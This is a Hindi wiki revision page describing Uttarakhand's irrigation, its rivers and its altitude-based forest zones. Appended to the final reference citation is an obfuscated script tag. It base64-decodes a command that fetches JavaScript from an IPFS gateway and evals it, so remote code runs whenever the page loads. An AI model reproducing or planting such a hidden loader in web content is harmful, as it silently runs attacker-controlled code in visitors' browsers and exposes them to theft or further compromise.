"उत्तराखंड की सिंचाई व्यवस्था" के अवतरणों में अंतर

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10:27, 4 फ़रवरी 2012 का अवतरण

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उत्तराखंड राज्य की लगभग कुल 5,91,418 हेक्टेयर कृषि भूमि में सिंचाई की जा रही हैं। राज्य में पनबिजली उत्पादन की भरपूर क्षमता है। यमुना, भागीरथी, भीलांगना, अलकनंदा, मंदाकिनी, सरयू, गौरी, कोसी और काली नदियों से सिंचाई व्यवस्था की जाती है।

नदियाँ

भारत की दो सबसे महत्त्वपूर्ण नदियाँ गंगा और यमुना इसी राज्य में जन्म लेतीं हैं, और मैदानी क्षेत्रों तक पहुँचते मार्ग में बहुत से तालाबों, झीलों, हिमनदियों की पिघली बर्फ़ से जल ग्रहण करती हैं।

वन

उत्तराखण्ड, हिमालय श्रृंखला की दक्षिणी ढलान पर स्थित है, और यहाँ मौसम और वनस्पति में ऊँचाई के साथ बहुत परिवर्तन होता है, जहाँ सबसे ऊँचाई पर हिमनद से लेकर निचले स्थानों पर उपोष्णकटिबंधीय वन हैं। सबसे ऊँचे उठे स्थल हिम और पत्थरों से ढके हुए हैं। उनसे नीचे, 5000 से 3000 मीटर तक घास भूमि और झाड़ी भूमि है। समशीतोष्ण शंकुधारी वन, पश्चिम हिमालयी उपअल्पाइन शंकुधर वन, वृक्षरेखा से कुछ नीचे उगते हैं। 3000 से 2600 मीटर की ऊँचाई पर समशीतोष्ण पश्चिम हिमालयी चौड़ी पत्तियों वाले वन हैं जो 2600 से 1500 मीटर की उँचाई पर हैं। 1500 मीटर से नीचे हिमालयी उपोष्णकटिबंधीय पाइन वन हैं। उंचे गंगा के मैदानों में नम पतझड़ी वन हैं और सुखाने वाले तराई-दुआर सवाना और घासभूमि उत्तर प्रदेश से लगती हुई निचली भूमि को ढके हुए है। इसे स्थानीय क्षेत्रों में 'भाभर' के नाम से जाना जाता है। निचली भूमि के अधिकांश भाग को खेती के लिए साफ़ कर दिया गया है।[1]

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टीका टिप्पणी और संदर्भ

  1. उत्तराखण्ड का भूगोल (हिन्दी)। । अभिगमन तिथि: 2 जून, 201।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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